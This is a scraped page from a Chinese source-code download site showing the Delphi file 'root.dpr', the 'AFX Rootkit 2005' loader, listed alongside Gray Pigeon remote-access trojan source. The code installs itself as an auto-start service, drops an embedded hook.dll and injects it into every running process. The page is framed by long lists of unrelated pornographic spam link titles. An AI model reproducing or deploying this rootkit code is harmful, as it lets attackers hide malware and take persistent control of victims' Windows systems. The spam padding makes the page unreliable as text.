亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? root.dpr

?? 灰鴿子1.23源碼,,,,,,,
?? DPR
字號:
{
  AFX Rootkit 2005 by Aphex
  http://www.iamaphex.net
  aphex@iamaphex.net
}

program root;

{$R 'RSRC.res' 'RSRC.RC'}

uses
  Windows,
  WinSvc,
  TlHelp32,
  afxCodeHook;

var
  ServiceName: pchar = '';

var
  Status: TServiceStatus;
  StatusHandle: SERVICE_STATUS_HANDLE;
  ServiceTable: array [0..1] of TServiceTableEntry;
  Stopped: boolean;
  Paused: boolean;

function ExtractFilePath(FileName: string): string;
begin
  Result := '';
  while ((Pos('\', FileName) <> 0) or (Pos('/', FileName) <> 0)) do
  begin
    Result := Result + Copy(FileName, 1, 1);
    Delete(FileName, 1, 1);
  end;
end;

function GetFolder: string;
var
  FileName: string;
  FilePath: array [0..MAX_PATH - 1] of char;
begin
  Result := '';
  GetModuleFileName(hInstance, FilePath, MAX_PATH);
  FileName := string(FilePath);
  while ((Pos('\', FileName) <> 0) or (Pos('/', FileName) <> 0)) do
  begin
    Result := Result + Copy(FileName, 1, 1);
    Delete(FileName, 1, 1);
  end;
  Delete(Result, Length(Result), 1);
  while Pos('\', Result) <> 0 do Delete(Result, 1, Pos('\', Result));
  while Pos('/', Result) <> 0 do Delete(Result, 1, Pos('/', Result));
end;

procedure Extract;
var
  ResourcePointer: pchar;
  ResourceLocation: HRSRC;
  ResourceSize, BytesWritten: Longword;
  ResDataHandle, FileHandle: THandle;
begin
  if True then
  begin
    ResourceLocation := FindResource(HInstance, 'a01', RT_RCDATA);
    if ResourceLocation <> 0 then
    begin
      ResourceSize := SizeofResource(HInstance, ResourceLocation);
      if ResourceSize <> 0 then
      begin
        ResDataHandle := LoadResource(HInstance, ResourceLocation);
        if ResDataHandle <> 0 then
        begin
          ResourcePointer := LockResource(ResDataHandle);
          if ResourcePointer <> nil then
          begin
            FileHandle := CreateFile(pchar(ExtractFilePath(ParamStr(0)) + 'hook.dll'), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
            if FileHandle <> INVALID_HANDLE_VALUE then
            begin
              WriteFile(FileHandle, ResourcePointer^, ResourceSize, BytesWritten, nil);
              CloseHandle(FileHandle);
            end;
          end;
        end;
      end;
    end;
  end;
end;

procedure Inject;
var
  ProcessHandle: THandle;
  Process32: TProcessEntry32;
  ProcessSnapshot: THandle;
begin
  ProcessSnapshot := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
  Process32.dwSize := SizeOf(TProcessEntry32);
  Process32First(ProcessSnapshot, Process32);
  repeat
    ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, Process32.th32ProcessID);
    if ProcessHandle <> 0 then
    begin
      if GetCurrentProcessId <> Process32.th32ProcessID then InjectLibrary(ProcessHandle, ExtractFilePath(ParamStr(0)) + 'hook.dll');
    end;
    CloseHandle(ProcessHandle);
  until not (Process32Next(ProcessSnapshot, Process32));
  CloseHandle(ProcessSnapshot);
end;

procedure ServiceMain;
begin
  Extract;
  Inject;
  repeat
    if not Paused then
    begin
      Sleep(1000);
    end;
  until Stopped;
end;

procedure ServiceCtrlHandler(Control: dword); stdcall;
begin
  case Control of
    SERVICE_CONTROL_STOP:
      begin
        Stopped := True;
        Status.dwCurrentState := SERVICE_STOP_PENDING;
        SetServiceStatus(StatusHandle, Status);
      end;
    SERVICE_CONTROL_PAUSE:
      begin
        Paused := True;
        Status.dwcurrentstate := SERVICE_PAUSED;
        SetServiceStatus(StatusHandle, Status);
      end;
    SERVICE_CONTROL_CONTINUE:
      begin
        Paused := False;
        Status.dwCurrentState := SERVICE_RUNNING;
        SetServiceStatus(StatusHandle, Status);
      end;
    SERVICE_CONTROL_INTERROGATE: SetServiceStatus(StatusHandle, Status);
    SERVICE_CONTROL_SHUTDOWN: Stopped := True;
  end;
end;

procedure ServiceCtrlDispatcher(dwArgc: dword; var lpszArgv: pchar); stdcall;
begin
  StatusHandle := RegisterServiceCtrlHandler(ServiceName, @ServiceCtrlHandler);
  if StatusHandle <> 0 then
  begin
    ZeroMemory(@Status, SizeOf(Status));
    Status.dwServiceType := SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS;
    Status.dwCurrentState:= SERVICE_START_PENDING;
    Status.dwControlsAccepted := SERVICE_ACCEPT_STOP or SERVICE_ACCEPT_PAUSE_CONTINUE;
    Status.dwWaitHint := 1000;
    SetServiceStatus(StatusHandle, Status);
    Stopped := False;
    Paused := False;
    Status.dwCurrentState := SERVICE_RUNNING;
    SetServiceStatus(StatusHandle, Status);
    ServiceMain;
    Status.dwCurrentState := SERVICE_STOPPED;
    SetServiceStatus(StatusHandle, Status);
  end;
end;

procedure UninstallService(ServiceName: pchar);
var
  SCManager: SC_HANDLE;
  Service: SC_HANDLE;
begin
  SCManager := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
  if SCManager = 0 then Exit;
  try
    Service := OpenService(SCManager, ServiceName, SERVICE_ALL_ACCESS);
    ControlService(Service, SERVICE_CONTROL_STOP, Status);
    DeleteService(Service);
    CloseServiceHandle(Service);
  finally
    CloseServiceHandle(SCManager);
  end;
end;

procedure InstallService(ServiceName, DisplayName: pchar; FileName: string);
var
  SCManager: SC_HANDLE;
  Service: SC_HANDLE;
  Args: pchar;
begin
  SCManager := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
  if SCManager = 0 then Exit;
  try
    Service := CreateService(SCManager, ServiceName, DisplayName, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, pchar(FileName), nil, nil, nil, nil, nil);
    Args := nil;
    StartService(Service, 0, Args);
    CloseServiceHandle(Service);
  finally
    CloseServiceHandle(SCManager);
  end;
end;

begin
  ServiceName := pchar(GetFolder);
  if ParamStr(1) = '/i' then
  begin
    InstallService(ServiceName, '', ParamStr(0));
  end
  else if ParamStr(1) = '/u' then
  begin
    UninstallService(ServiceName);
  end
  else
  begin
    ServiceTable[0].lpServiceName := ServiceName;
    ServiceTable[0].lpServiceProc := @ServiceCtrlDispatcher;
    ServiceTable[1].lpServiceName := nil;
    ServiceTable[1].lpServiceProc := nil;
    StartServiceCtrlDispatcher(ServiceTable[0]);
  end;
end.

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
日韩免费在线观看| 亚洲国产精品久久艾草纯爱 | 精品一区二区三区香蕉蜜桃 | 中文字幕一区在线观看视频| 亚洲一级二级在线| 北岛玲一区二区三区四区| 欧美日韩在线三级| 国产精品青草久久| 精一区二区三区| 欧美午夜理伦三级在线观看| 国产亚洲精品免费| 精品一区二区在线看| 在线综合视频播放| 亚洲宅男天堂在线观看无病毒| 懂色av一区二区夜夜嗨| 精品成人私密视频| 七七婷婷婷婷精品国产| 欧美日韩情趣电影| 亚洲午夜影视影院在线观看| 99综合影院在线| 中文字幕二三区不卡| 国产风韵犹存在线视精品| 日韩精品一区二| 喷白浆一区二区| 日韩免费视频线观看| 日韩成人一区二区三区在线观看| 欧美日韩在线三区| 午夜电影网一区| 欧美日本乱大交xxxxx| 亚洲成人福利片| 欧美人狂配大交3d怪物一区 | 在线播放91灌醉迷j高跟美女| 亚洲欧美日韩一区| 色婷婷综合久色| 亚洲综合色丁香婷婷六月图片| 91美女蜜桃在线| 亚洲五码中文字幕| 制服丝袜日韩国产| 日本免费新一区视频| 日韩欧美电影一二三| 国模无码大尺度一区二区三区| 欧美精品一区二区三区四区| 韩日欧美一区二区三区| 国产视频一区在线观看| youjizz国产精品| 一区二区三区四区五区视频在线观看| 在线欧美日韩精品| 天天免费综合色| 精品国产乱码久久久久久浪潮| 精油按摩中文字幕久久| 国产精品日日摸夜夜摸av| 色综合中文字幕| 午夜欧美视频在线观看| 精品国产不卡一区二区三区| www.爱久久.com| 性感美女久久精品| 欧美成人在线直播| 成人禁用看黄a在线| 亚洲电影你懂得| 欧美精品一区二区三| 波多野结衣中文一区| 亚洲第一会所有码转帖| 久久天堂av综合合色蜜桃网| 99精品国产热久久91蜜凸| 午夜精品一区二区三区免费视频| 精品剧情v国产在线观看在线| 粉嫩欧美一区二区三区高清影视| 一区二区三区精品| 久久新电视剧免费观看| 色天使色偷偷av一区二区| 老色鬼精品视频在线观看播放| 国产欧美一区二区在线| 欧美福利视频导航| 成人黄色一级视频| 青青草91视频| 亚洲黄色小说网站| 久久影院视频免费| 欧美日韩专区在线| 成人午夜视频免费看| 青椒成人免费视频| 亚洲综合视频在线| 国产精品剧情在线亚洲| 日韩欧美在线观看一区二区三区| 91视视频在线观看入口直接观看www| 日韩制服丝袜先锋影音| 亚洲三级在线观看| 国产丝袜美腿一区二区三区| 91精品国产91久久久久久最新毛片| 99久久久免费精品国产一区二区| 裸体健美xxxx欧美裸体表演| 亚洲一区二区三区小说| 国产精品人成在线观看免费 | 精品美女被调教视频大全网站| 欧洲一区二区三区免费视频| 国产精品资源站在线| 轻轻草成人在线| 日韩中文字幕不卡| 亚洲午夜日本在线观看| 亚洲欧美日韩国产另类专区| 国产欧美一二三区| 久久久www免费人成精品| 日韩一卡二卡三卡四卡| 欧美日韩一区二区欧美激情| 91小视频免费观看| 99国产精品99久久久久久| 国产河南妇女毛片精品久久久| 精品一区二区三区av| 久久狠狠亚洲综合| 蜜桃av一区二区在线观看 | 欧美tickling挠脚心丨vk| 欧美日韩午夜精品| 欧美日韩成人综合在线一区二区| 日本道在线观看一区二区| 91尤物视频在线观看| 91视频精品在这里| 色婷婷狠狠综合| 欧美综合一区二区| 欧美视频一区二区在线观看| 欧美羞羞免费网站| 欧美久久免费观看| 日韩一区二区三区三四区视频在线观看| 欧美性感一类影片在线播放| 欧美体内she精视频| 欧美视频一区二区三区四区| 91精品国产一区二区三区蜜臀| 欧美一级一级性生活免费录像| 欧美日韩国产免费一区二区| 欧美精品三级日韩久久| 欧美一区日本一区韩国一区| 日韩女优毛片在线| 国产日韩精品一区| 日韩理论片在线| 婷婷综合另类小说色区| 日韩中文字幕区一区有砖一区 | 亚洲免费伊人电影| 一区二区高清在线| 免费成人美女在线观看.| 激情成人综合网| 99久久精品免费看国产免费软件| 91久久精品一区二区三区| 欧美疯狂做受xxxx富婆| www国产成人免费观看视频 深夜成人网| 久久久久国产免费免费 | 久久国产欧美日韩精品| 国产成人小视频| 欧洲av一区二区嗯嗯嗯啊| 日韩一区二区三区在线| 欧美经典三级视频一区二区三区| 色妞www精品视频| 欧美人妇做爰xxxⅹ性高电影| 亚洲福利视频导航| 久久精品国产一区二区三区免费看 | av成人动漫在线观看| 精品裸体舞一区二区三区| 国产不卡高清在线观看视频| 成人免费在线视频观看| 亚洲私人影院在线观看| 亚洲欧美激情插| 成人午夜免费视频| 国产午夜亚洲精品午夜鲁丝片| 免费欧美日韩国产三级电影| 欧美放荡的少妇| 五月天一区二区| 欧美日韩一区中文字幕| 一区二区三区美女| 色8久久精品久久久久久蜜| 中文字幕日韩一区| 99久久精品免费看国产免费软件| 中文一区二区在线观看| 成人综合在线视频| 亚洲国产精品黑人久久久| 成人午夜激情视频| 国产精品麻豆久久久| 成人动漫视频在线| 最新日韩av在线| 在线视频中文字幕一区二区| 一区二区三区欧美| 欧美日韩激情一区| 五月综合激情网| 日韩精品一区二区三区中文不卡| 另类小说图片综合网| 国产亚洲欧美日韩日本| 99在线视频精品| 亚洲一卡二卡三卡四卡| 欧美电影一区二区| 久久99精品国产麻豆不卡| 国产午夜精品久久久久久免费视| av成人免费在线| 午夜国产精品影院在线观看| www久久久久| 91亚洲永久精品| 日韩电影免费在线| 国产日韩欧美制服另类| 欧美伊人精品成人久久综合97| 视频在线观看一区| 久久综合久久久久88| 91碰在线视频| 奇米影视一区二区三区| 国产精品国产三级国产aⅴ原创 | 美女尤物国产一区|